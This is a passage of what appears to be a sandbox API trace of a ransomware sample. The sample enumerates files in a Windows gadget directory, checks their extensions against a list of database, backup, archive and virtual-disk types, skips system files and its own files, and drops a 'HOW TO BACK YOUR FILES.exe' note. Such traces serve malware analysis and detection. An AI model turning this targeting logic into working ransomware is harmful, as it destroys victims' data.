	[0060.843] lstrcmpiW (lpString1="tml", lpString2="mrg") returned 1
	[0060.843] lstrlenW (lpString="mud") returned 3
	[0060.843] lstrcmpiW (lpString1="tml", lpString2="mud") returned 1
	[0060.843] lstrlenW (lpString="mwb") returned 3
	[0060.843] lstrcmpiW (lpString1="tml", lpString2="mwb") returned 1
	[0060.843] lstrlenW (lpString="myd") returned 3
	[0060.843] lstrcmpiW (lpString1="tml", lpString2="myd") returned 1
	[0060.843] lstrlenW (lpString="ndf") returned 3
	[0060.843] lstrcmpiW (lpString1="tml", lpString2="ndf") returned 1
	[0060.843] lstrlenW (lpString="nnt") returned 3
	[0060.843] lstrcmpiW (lpString1="tml", lpString2="nnt") returned 1
	[0060.843] lstrlenW (lpString="nrmlib") returned 6
	[0060.843] lstrcmpiW (lpString1="s.html", lpString2="nrmlib") returned 1
	[0060.843] lstrlenW (lpString="ns2") returned 3
	[0060.843] lstrcmpiW (lpString1="tml", lpString2="ns2") returned 1
	[0060.843] lstrlenW (lpString="ns3") returned 3
	[0060.843] lstrcmpiW (lpString1="tml", lpString2="ns3") returned 1
	[0060.843] lstrlenW (lpString="ns4") returned 3
	[0060.843] lstrcmpiW (lpString1="tml", lpString2="ns4") returned 1
	[0060.843] lstrlenW (lpString="nsf") returned 3
	[0060.843] lstrcmpiW (lpString1="tml", lpString2="nsf") returned 1
	[0060.844] lstrlenW (lpString="nv") returned 2
	[0060.844] lstrcmpiW (lpString1="ml", lpString2="nv") returned -1
	[0060.844] lstrlenW (lpString="nv2") returned 3
	[0060.844] lstrcmpiW (lpString1="tml", lpString2="nv2") returned 1
	[0060.844] lstrlenW (lpString="nwdb") returned 4
	[0060.844] lstrcmpiW (lpString1="html", lpString2="nwdb") returned -1
	[0060.844] lstrlenW (lpString="nyf") returned 3
	[0060.844] lstrcmpiW (lpString1="tml", lpString2="nyf") returned 1
	[0060.844] lstrlenW (lpString="odb") returned 3
	[0060.844] lstrcmpiW (lpString1="tml", lpString2="odb") returned 1
	[0060.844] lstrlenW (lpString="odb") returned 3
	[0060.844] lstrcmpiW (lpString1="tml", lpString2="odb") returned 1
	[0060.844] lstrlenW (lpString="oqy") returned 3
	[0060.844] lstrcmpiW (lpString1="tml", lpString2="oqy") returned 1
	[0060.844] lstrlenW (lpString="ora") returned 3
	[0060.844] lstrcmpiW (lpString1="tml", lpString2="ora") returned 1
	[0060.844] lstrlenW (lpString="orx") returned 3
	[0060.844] lstrcmpiW (lpString1="tml", lpString2="orx") returned 1
	[0060.844] lstrlenW (lpString="owc") returned 3
	[0060.844] lstrcmpiW (lpString1="tml", lpString2="owc") returned 1
	[0060.844] lstrlenW (lpString="p96") returned 3
	[0060.844] lstrcmpiW (lpString1="tml", lpString2="p96") returned 1
	[0060.844] lstrlenW (lpString="p97") returned 3
	[0060.844] lstrcmpiW (lpString1="tml", lpString2="p97") returned 1
	[0060.844] lstrlenW (lpString="pan") returned 3
	[0060.844] lstrcmpiW (lpString1="tml", lpString2="pan") returned 1
	[0060.844] lstrlenW (lpString="pdb") returned 3
	[0060.844] lstrcmpiW (lpString1="tml", lpString2="pdb") returned 1
	[0060.844] lstrlenW (lpString="pdm") returned 3
	[0060.844] lstrcmpiW (lpString1="tml", lpString2="pdm") returned 1
	[0060.844] lstrlenW (lpString="pnz") returned 3
	[0060.844] lstrcmpiW (lpString1="tml", lpString2="pnz") returned 1
	[0060.844] lstrlenW (lpString="qry") returned 3
	[0060.844] lstrcmpiW (lpString1="tml", lpString2="qry") returned 1
	[0060.844] lstrlenW (lpString="qvd") returned 3
	[0060.845] lstrcmpiW (lpString1="tml", lpString2="qvd") returned 1
	[0060.845] lstrlenW (lpString="rbf") returned 3
	[0060.845] lstrcmpiW (lpString1="tml", lpString2="rbf") returned 1
	[0060.845] lstrlenW (lpString="rctd") returned 4
	[0060.845] lstrcmpiW (lpString1="html", lpString2="rctd") returned -1
	[0060.845] lstrlenW (lpString="rod") returned 3
	[0060.845] lstrcmpiW (lpString1="tml", lpString2="rod") returned 1
	[0060.845] lstrlenW (lpString="rodx") returned 4
	[0060.845] lstrcmpiW (lpString1="html", lpString2="rodx") returned -1
	[0060.845] lstrlenW (lpString="rpd") returned 3
	[0060.845] lstrcmpiW (lpString1="tml", lpString2="rpd") returned 1
	[0060.845] lstrlenW (lpString="rsd") returned 3
	[0060.845] lstrcmpiW (lpString1="tml", lpString2="rsd") returned 1
	[0060.845] lstrlenW (lpString="sas7bdat") returned 8
	[0060.845] lstrcmpiW (lpString1="ngs.html", lpString2="sas7bdat") returned -1
	[0060.845] lstrlenW (lpString="sbf") returned 3
	[0060.845] lstrcmpiW (lpString1="tml", lpString2="sbf") returned 1
	[0060.845] lstrlenW (lpString="scx") returned 3
	[0060.845] lstrcmpiW (lpString1="tml", lpString2="scx") returned 1
	[0060.845] lstrlenW (lpString="sdb") returned 3
	[0060.845] lstrcmpiW (lpString1="tml", lpString2="sdb") returned 1
	[0060.845] lstrlenW (lpString="sdc") returned 3
	[0060.845] lstrcmpiW (lpString1="tml", lpString2="sdc") returned 1
	[0060.845] lstrlenW (lpString="sdf") returned 3
	[0060.845] lstrcmpiW (lpString1="tml", lpString2="sdf") returned 1
	[0060.845] lstrlenW (lpString="sis") returned 3
	[0060.845] lstrcmpiW (lpString1="tml", lpString2="sis") returned 1
	[0060.845] lstrlenW (lpString="spq") returned 3
	[0060.845] lstrcmpiW (lpString1="tml", lpString2="spq") returned 1
	[0060.845] lstrlenW (lpString="te") returned 2
	[0060.845] lstrcmpiW (lpString1="ml", lpString2="te") returned -1
	[0060.845] lstrlenW (lpString="teacher") returned 7
	[0060.845] lstrcmpiW (lpString1="gs.html", lpString2="teacher") returned -1
	[0060.846] lstrlenW (lpString="tmd") returned 3
	[0060.846] lstrcmpiW (lpString1="tml", lpString2="tmd") returned 1
	[0060.846] lstrlenW (lpString="tps") returned 3
	[0060.846] lstrcmpiW (lpString1="tml", lpString2="tps") returned -1
	[0060.846] lstrlenW (lpString="trc") returned 3
	[0060.846] lstrcmpiW (lpString1="tml", lpString2="trc") returned -1
	[0060.846] lstrlenW (lpString="trc") returned 3
	[0060.846] lstrcmpiW (lpString1="tml", lpString2="trc") returned -1
	[0060.846] lstrlenW (lpString="trm") returned 3
	[0060.846] lstrcmpiW (lpString1="tml", lpString2="trm") returned -1
	[0060.846] lstrlenW (lpString="udb") returned 3
	[0060.846] lstrcmpiW (lpString1="tml", lpString2="udb") returned -1
	[0060.846] lstrlenW (lpString="udl") returned 3
	[0060.846] lstrcmpiW (lpString1="tml", lpString2="udl") returned -1
	[0060.846] lstrlenW (lpString="usr") returned 3
	[0060.846] lstrcmpiW (lpString1="tml", lpString2="usr") returned -1
	[0060.846] lstrlenW (lpString="v12") returned 3
	[0060.846] lstrcmpiW (lpString1="tml", lpString2="v12") returned -1
	[0060.846] lstrlenW (lpString="vis") returned 3
	[0060.846] lstrcmpiW (lpString1="tml", lpString2="vis") returned -1
	[0060.846] lstrlenW (lpString="vpd") returned 3
	[0060.846] lstrcmpiW (lpString1="tml", lpString2="vpd") returned -1
	[0060.846] lstrlenW (lpString="vvv") returned 3
	[0060.846] lstrcmpiW (lpString1="tml", lpString2="vvv") returned -1
	[0060.846] lstrlenW (lpString="wdb") returned 3
	[0060.846] lstrcmpiW (lpString1="tml", lpString2="wdb") returned -1
	[0060.846] lstrlenW (lpString="wmdb") returned 4
	[0060.846] lstrcmpiW (lpString1="html", lpString2="wmdb") returned -1
	[0060.846] lstrlenW (lpString="wrk") returned 3
	[0060.846] lstrcmpiW (lpString1="tml", lpString2="wrk") returned -1
	[0060.846] lstrlenW (lpString="xdb") returned 3
	[0060.846] lstrcmpiW (lpString1="tml", lpString2="xdb") returned -1
	[0060.846] lstrlenW (lpString="xld") returned 3
	[0060.847] lstrcmpiW (lpString1="tml", lpString2="xld") returned -1
	[0060.847] lstrlenW (lpString="xmlff") returned 5
	[0060.847] lstrcmpiW (lpString1=".html", lpString2="xmlff") returned -1
	[0060.847] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f3e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="weather.html", cAlternateFileName="")) returned 1
	[0060.847] lstrcmpiW (lpString1="weather.html", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.847] lstrcmpiW (lpString1="weather.html", lpString2="Apollon865.txt.exe") returned 1
	[0060.847] lstrcmpiW (lpString1="weather.html", lpString2=".") returned 1
	[0060.847] lstrcmpiW (lpString1="weather.html", lpString2="..") returned 1
	[0060.847] lstrcmpiW (lpString1="weather.html", lpString2="windows") returned -1
	[0060.847] lstrcmpiW (lpString1="weather.html", lpString2="bootmgr") returned 1
	[0060.847] lstrcmpiW (lpString1="weather.html", lpString2="temp") returned 1
	[0060.847] lstrcmpiW (lpString1="weather.html", lpString2="pagefile.sys") returned 1
	[0060.847] lstrcmpiW (lpString1="weather.html", lpString2="boot") returned 1
	[0060.847] lstrcmpiW (lpString1="weather.html", lpString2="ids.txt") returned 1
	[0060.847] lstrcmpiW (lpString1="weather.html", lpString2="ntuser.dat") returned 1
	[0060.847] lstrcmpiW (lpString1="weather.html", lpString2="perflogs") returned 1
	[0060.847] lstrcmpiW (lpString1="weather.html", lpString2="MSBuild") returned 1
	[0060.847] lstrlenW (lpString="weather.html") returned 12
	[0060.847] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\settings.html") returned 75
	[0060.847] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="weather.html" | out: lpString1="weather.html") returned="weather.html"
	[0060.847] lstrlenW (lpString="weather.html") returned 12
	[0060.847] lstrlenW (lpString="Apollon865") returned 10
	[0060.847] lstrcmpiW (lpString1="ather.html", lpString2="Apollon865") returned 1
	[0060.847] lstrlenW (lpString=".dll") returned 4
	[0060.847] lstrcmpiW (lpString1="weather.html", lpString2=".dll") returned 1
	[0060.847] lstrlenW (lpString=".lnk") returned 4
	[0060.847] lstrcmpiW (lpString1="weather.html", lpString2=".lnk") returned 1
	[0060.847] lstrlenW (lpString=".ini") returned 4
	[0060.847] lstrcmpiW (lpString1="weather.html", lpString2=".ini") returned 1
	[0060.847] lstrlenW (lpString=".sys") returned 4
	[0060.847] lstrcmpiW (lpString1="weather.html", lpString2=".sys") returned 1
	[0060.847] lstrlenW (lpString="weather.html") returned 12
	[0060.847] lstrlenW (lpString="bak") returned 3
	[0060.847] lstrcmpiW (lpString1="tml", lpString2="bak") returned 1
	[0060.848] lstrlenW (lpString="ba_") returned 3
	[0060.848] lstrcmpiW (lpString1="tml", lpString2="ba_") returned 1
	[0060.848] lstrlenW (lpString="dbb") returned 3
	[0060.848] lstrcmpiW (lpString1="tml", lpString2="dbb") returned 1
	[0060.848] lstrlenW (lpString="vmdk") returned 4
	[0060.848] lstrcmpiW (lpString1="html", lpString2="vmdk") returned -1
	[0060.848] lstrlenW (lpString="rar") returned 3
	[0060.848] lstrcmpiW (lpString1="tml", lpString2="rar") returned 1
	[0060.848] lstrlenW (lpString="zip") returned 3
	[0060.848] lstrcmpiW (lpString1="tml", lpString2="zip") returned -1
	[0060.848] lstrlenW (lpString="tgz") returned 3
	[0060.848] lstrcmpiW (lpString1="tml", lpString2="tgz") returned 1
	[0060.848] lstrlenW (lpString="vbox") returned 4
	[0060.848] lstrcmpiW (lpString1="html", lpString2="vbox") returned -1
	[0060.848] lstrlenW (lpString="vdi") returned 3
	[0060.848] lstrcmpiW (lpString1="tml", lpString2="vdi") returned -1
	[0060.848] lstrlenW (lpString="vhd") returned 3
	[0060.848] lstrcmpiW (lpString1="tml", lpString2="vhd") returned -1
	[0060.848] lstrlenW (lpString="vhdx") returned 4
	[0060.848] lstrcmpiW (lpString1="html", lpString2="vhdx") returned -1
	[0060.848] lstrlenW (lpString="avhd") returned 4
	[0060.848] lstrcmpiW (lpString1="html", lpString2="avhd") returned 1
	[0060.848] lstrlenW (lpString="db") returned 2
	[0060.848] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0060.848] lstrlenW (lpString="db2") returned 3
	[0060.848] lstrcmpiW (lpString1="tml", lpString2="db2") returned 1
	[0060.848] lstrlenW (lpString="db3") returned 3
	[0060.848] lstrcmpiW (lpString1="tml", lpString2="db3") returned 1
	[0060.848] lstrlenW (lpString="dbf") returned 3
	[0060.848] lstrcmpiW (lpString1="tml", lpString2="dbf") returned 1
	[0060.848] lstrlenW (lpString="mdf") returned 3
	[0060.848] lstrcmpiW (lpString1="tml", lpString2="mdf") returned 1
	[0060.848] lstrlenW (lpString="mdb") returned 3
	[0060.848] lstrcmpiW (lpString1="tml", lpString2="mdb") returned 1
	[0060.848] lstrlenW (lpString="sql") returned 3
	[0060.849] lstrcmpiW (lpString1="tml", lpString2="sql") returned 1
	[0060.849] lstrlenW (lpString="sqlite") returned 6
	[0060.849] lstrcmpiW (lpString1="r.html", lpString2="sqlite") returned -1
	[0060.849] lstrlenW (lpString="sqlite3") returned 7
	[0060.849] lstrcmpiW (lpString1="er.html", lpString2="sqlite3") returned -1
	[0060.849] lstrlenW (lpString="sqlitedb") returned 8
	[0060.849] lstrcmpiW (lpString1="her.html", lpString2="sqlitedb") returned -1
	[0060.849] lstrlenW (lpString="xml") returned 3
	[0060.849] lstrcmpiW (lpString1="tml", lpString2="xml") returned -1
	[0060.849] lstrlenW (lpString="$er") returned 3
	[0060.849] lstrcmpiW (lpString1="tml", lpString2="$er") returned 1
	[0060.849] lstrlenW (lpString="4dd") returned 3
	[0060.849] lstrcmpiW (lpString1="tml", lpString2="4dd") returned 1
	[0060.849] lstrlenW (lpString="4dl") returned 3
	[0060.849] lstrcmpiW (lpString1="tml", lpString2="4dl") returned 1
	[0060.849] lstrlenW (lpString="^^^") returned 3
	[0060.849] lstrcmpiW (lpString1="tml", lpString2="^^^") returned 1
	[0060.849] lstrlenW (lpString="abs") returned 3
	[0060.849] lstrcmpiW (lpString1="tml", lpString2="abs") returned 1
	[0060.849] lstrlenW (lpString="abx") returned 3
	[0060.849] lstrcmpiW (lpString1="tml", lpString2="abx") returned 1
	[0060.849] lstrlenW (lpString="accdb") returned 5
	[0060.849] lstrcmpiW (lpString1=".html", lpString2="accdb") returned -1
	[0060.849] lstrlenW (lpString="accdc") returned 5
	[0060.849] lstrcmpiW (lpString1=".html", lpString2="accdc") returned -1
	[0060.849] lstrlenW (lpString="accde") returned 5
	[0060.849] lstrcmpiW (lpString1=".html", lpString2="accde") returned -1
	[0060.849] lstrlenW (lpString="accdr") returned 5
	[0060.849] lstrcmpiW (lpString1=".html", lpString2="accdr") returned -1
	[0060.849] lstrlenW (lpString="accdt") returned 5
	[0060.849] lstrcmpiW (lpString1=".html", lpString2="accdt") returned -1
	[0060.849] lstrlenW (lpString="accdw") returned 5
	[0060.849] lstrcmpiW (lpString1=".html", lpString2="accdw") returned -1
	[0060.850] lstrlenW (lpString="accft") returned 5
	[0060.850] lstrcmpiW (lpString1=".html", lpString2="accft") returned -1
	[0060.850] lstrlenW (lpString="adb") returned 3
	[0060.850] lstrcmpiW (lpString1="tml", lpString2="adb") returned 1
	[0060.850] lstrlenW (lpString="adb") returned 3
	[0060.850] lstrcmpiW (lpString1="tml", lpString2="adb") returned 1
	[0060.850] lstrlenW (lpString="ade") returned 3
	[0060.850] lstrcmpiW (lpString1="tml", lpString2="ade") returned 1
	[0060.850] lstrlenW (lpString="adf") returned 3
	[0060.850] lstrcmpiW (lpString1="tml", lpString2="adf") returned 1
	[0060.850] lstrlenW (lpString="adn") returned 3
	[0060.850] lstrcmpiW (lpString1="tml", lpString2="adn") returned 1
	[0060.850] lstrlenW (lpString="adp") returned 3
	[0060.850] lstrcmpiW (lpString1="tml", lpString2="adp") returned 1
	[0060.850] lstrlenW (lpString="alf") returned 3
	[0060.850] lstrcmpiW (lpString1="tml", lpString2="alf") returned 1
	[0060.850] lstrlenW (lpString="ask") returned 3
	[0060.850] lstrcmpiW (lpString1="tml", lpString2="ask") returned 1
	[0060.850] lstrlenW (lpString="btr") returned 3
	[0060.850] lstrcmpiW (lpString1="tml", lpString2="btr") returned 1
	[0060.850] lstrlenW (lpString="cat") returned 3
	[0060.850] lstrcmpiW (lpString1="tml", lpString2="cat") returned 1
	[0060.850] lstrlenW (lpString="cdb") returned 3
	[0060.850] lstrcmpiW (lpString1="tml", lpString2="cdb") returned 1
	[0060.850] lstrlenW (lpString="ckp") returned 3
	[0060.850] lstrcmpiW (lpString1="tml", lpString2="ckp") returned 1
	[0060.850] lstrlenW (lpString="cma") returned 3
	[0060.850] lstrcmpiW (lpString1="tml", lpString2="cma") returned 1
	[0060.850] lstrlenW (lpString="cpd") returned 3
	[0060.850] lstrcmpiW (lpString1="tml", lpString2="cpd") returned 1
	[0060.850] lstrlenW (lpString="dacpac") returned 6
	[0060.850] lstrcmpiW (lpString1="r.html", lpString2="dacpac") returned 1
	[0060.850] lstrlenW (lpString="dad") returned 3
	[0060.850] lstrcmpiW (lpString1="tml", lpString2="dad") returned 1
	[0060.851] lstrlenW (lpString="dadiagrams") returned 10
	[0060.851] lstrcmpiW (lpString1="ather.html", lpString2="dadiagrams") returned -1
	[0060.851] lstrlenW (lpString="daschema") returned 8
	[0060.851] lstrcmpiW (lpString1="her.html", lpString2="daschema") returned 1
	[0060.851] lstrlenW (lpString="db-journal") returned 10
	[0060.851] lstrcmpiW (lpString1="ather.html", lpString2="db-journal") returned -1
	[0060.851] lstrlenW (lpString="db-shm") returned 6
	[0060.851] lstrcmpiW (lpString1="r.html", lpString2="db-shm") returned 1
	[0060.851] lstrlenW (lpString="db-wal") returned 6
	[0060.851] lstrcmpiW (lpString1="r.html", lpString2="db-wal") returned 1
	[0060.851] lstrlenW (lpString="dbc") returned 3
	[0060.851] lstrcmpiW (lpString1="tml", lpString2="dbc") returned 1
	[0060.851] lstrlenW (lpString="dbs") returned 3
	[0060.851] lstrcmpiW (lpString1="tml", lpString2="dbs") returned 1
	[0060.851] lstrlenW (lpString="dbt") returned 3
	[0060.851] lstrcmpiW (lpString1="tml", lpString2="dbt") returned 1
	[0060.851] lstrlenW (lpString="dbv") returned 3
	[0060.851] lstrcmpiW (lpString1="tml", lpString2="dbv") returned 1
	[0060.851] lstrlenW (lpString="dbx") returned 3
	[0060.851] lstrcmpiW (lpString1="tml", lpString2="dbx") returned 1
	[0060.851] lstrlenW (lpString="dcb") returned 3
	[0060.851] lstrcmpiW (lpString1="tml", lpString2="dcb") returned 1
	[0060.851] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js"
	[0060.851] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0060.851] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0060.851] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js") returned 64
	[0060.851] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js"
	[0060.851] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.851] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.857] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.857] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3c576670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c576670, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0060.858] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.858] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.858] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0060.858] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3c576670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c576670, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.858] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.858] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0060.858] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0060.858] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0060.858] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x71c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="highDpiImageSwap.js", cAlternateFileName="")) returned 1
	[0060.858] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.858] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="Apollon865.txt.exe") returned 1
	[0060.858] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2=".") returned 1
	[0060.858] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="..") returned 1
	[0060.858] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="windows") returned -1
	[0060.858] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="bootmgr") returned 1
	[0060.858] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="temp") returned -1
	[0060.858] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="pagefile.sys") returned -1
	[0060.858] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="boot") returned 1
	[0060.858] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="ids.txt") returned -1
	[0060.858] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="ntuser.dat") returned -1
	[0060.858] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="perflogs") returned -1
	[0060.858] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="MSBuild") returned -1
	[0060.858] lstrlenW (lpString="highDpiImageSwap.js") returned 19
	[0060.858] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\*") returned 66
	[0060.858] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="highDpiImageSwap.js" | out: lpString1="highDpiImageSwap.js") returned="highDpiImageSwap.js"
	[0060.859] lstrlenW (lpString="highDpiImageSwap.js") returned 19
	[0060.859] lstrlenW (lpString="Apollon865") returned 10
	[0060.859] lstrcmpiW (lpString1="ageSwap.js", lpString2="Apollon865") returned -1
	[0060.859] lstrlenW (lpString=".dll") returned 4
	[0060.859] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2=".dll") returned 1
	[0060.859] lstrlenW (lpString=".lnk") returned 4
	[0060.859] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2=".lnk") returned 1
	[0060.859] lstrlenW (lpString=".ini") returned 4
	[0060.859] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2=".ini") returned 1
	[0060.859] lstrlenW (lpString=".sys") returned 4
	[0060.859] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2=".sys") returned 1
	[0060.859] lstrlenW (lpString="highDpiImageSwap.js") returned 19
	[0060.859] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="library.js" | out: lpString1="library.js") returned="library.js"
	[0060.859] lstrlenW (lpString="library.js") returned 10
	[0060.859] lstrlenW (lpString="Apollon865") returned 10
	[0060.859] lstrlenW (lpString=".dll") returned 4
	[0060.859] lstrcmpiW (lpString1="library.js", lpString2=".dll") returned 1
	[0060.859] lstrlenW (lpString=".lnk") returned 4
	[0060.859] lstrcmpiW (lpString1="library.js", lpString2=".lnk") returned 1
	[0060.859] lstrlenW (lpString=".ini") returned 4
	[0060.859] lstrcmpiW (lpString1="library.js", lpString2=".ini") returned 1
	[0060.859] lstrlenW (lpString=".sys") returned 4
	[0060.859] lstrcmpiW (lpString1="library.js", lpString2=".sys") returned 1
	[0060.859] lstrlenW (lpString="library.js") returned 10
	[0060.859] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="localizedStrings.js" | out: lpString1="localizedStrings.js") returned="localizedStrings.js"
	[0060.859] lstrlenW (lpString="localizedStrings.js") returned 19
	[0060.859] lstrlenW (lpString="Apollon865") returned 10
	[0060.859] lstrcmpiW (lpString1="Strings.js", lpString2="Apollon865") returned 1
	[0060.859] lstrlenW (lpString=".dll") returned 4
	[0060.859] lstrcmpiW (lpString1="localizedStrings.js", lpString2=".dll") returned 1
	[0060.860] lstrlenW (lpString=".lnk") returned 4
	[0060.860] lstrcmpiW (lpString1="localizedStrings.js", lpString2=".lnk") returned 1
	[0060.860] lstrlenW (lpString=".ini") returned 4
	[0060.860] lstrcmpiW (lpString1="localizedStrings.js", lpString2=".ini") returned 1
	[0060.860] lstrlenW (lpString=".sys") returned 4
	[0060.860] lstrcmpiW (lpString1="localizedStrings.js", lpString2=".sys") returned 1
	[0060.860] lstrlenW (lpString="localizedStrings.js") returned 19
	[0060.860] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="settings.js" | out: lpString1="settings.js") returned="settings.js"
	[0060.860] lstrlenW (lpString="settings.js") returned 11
	[0060.860] lstrlenW (lpString="Apollon865") returned 10
	[0060.860] lstrcmpiW (lpString1="ettings.js", lpString2="Apollon865") returned 1
	[0060.860] lstrlenW (lpString=".dll") returned 4
	[0060.860] lstrcmpiW (lpString1="settings.js", lpString2=".dll") returned 1
	[0060.860] lstrlenW (lpString=".lnk") returned 4
	[0060.860] lstrcmpiW (lpString1="settings.js", lpString2=".lnk") returned 1
	[0060.860] lstrlenW (lpString=".ini") returned 4
	[0060.860] lstrcmpiW (lpString1="settings.js", lpString2=".ini") returned 1
	[0060.860] lstrlenW (lpString=".sys") returned 4
	[0060.860] lstrcmpiW (lpString1="settings.js", lpString2=".sys") returned 1
	[0060.860] lstrlenW (lpString="settings.js") returned 11
	[0060.860] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="weather.js" | out: lpString1="weather.js") returned="weather.js"
	[0060.860] lstrlenW (lpString="weather.js") returned 10
	[0060.860] lstrlenW (lpString="Apollon865") returned 10
	[0060.860] lstrlenW (lpString=".dll") returned 4
	[0060.860] lstrcmpiW (lpString1="weather.js", lpString2=".dll") returned 1
	[0060.860] lstrlenW (lpString=".lnk") returned 4
	[0060.860] lstrcmpiW (lpString1="weather.js", lpString2=".lnk") returned 1
	[0060.860] lstrlenW (lpString=".ini") returned 4
	[0060.860] lstrcmpiW (lpString1="weather.js", lpString2=".ini") returned 1
	[0060.860] lstrlenW (lpString=".sys") returned 4
	[0060.860] lstrcmpiW (lpString1="weather.js", lpString2=".sys") returned 1
	[0060.861] lstrlenW (lpString="weather.js") returned 10
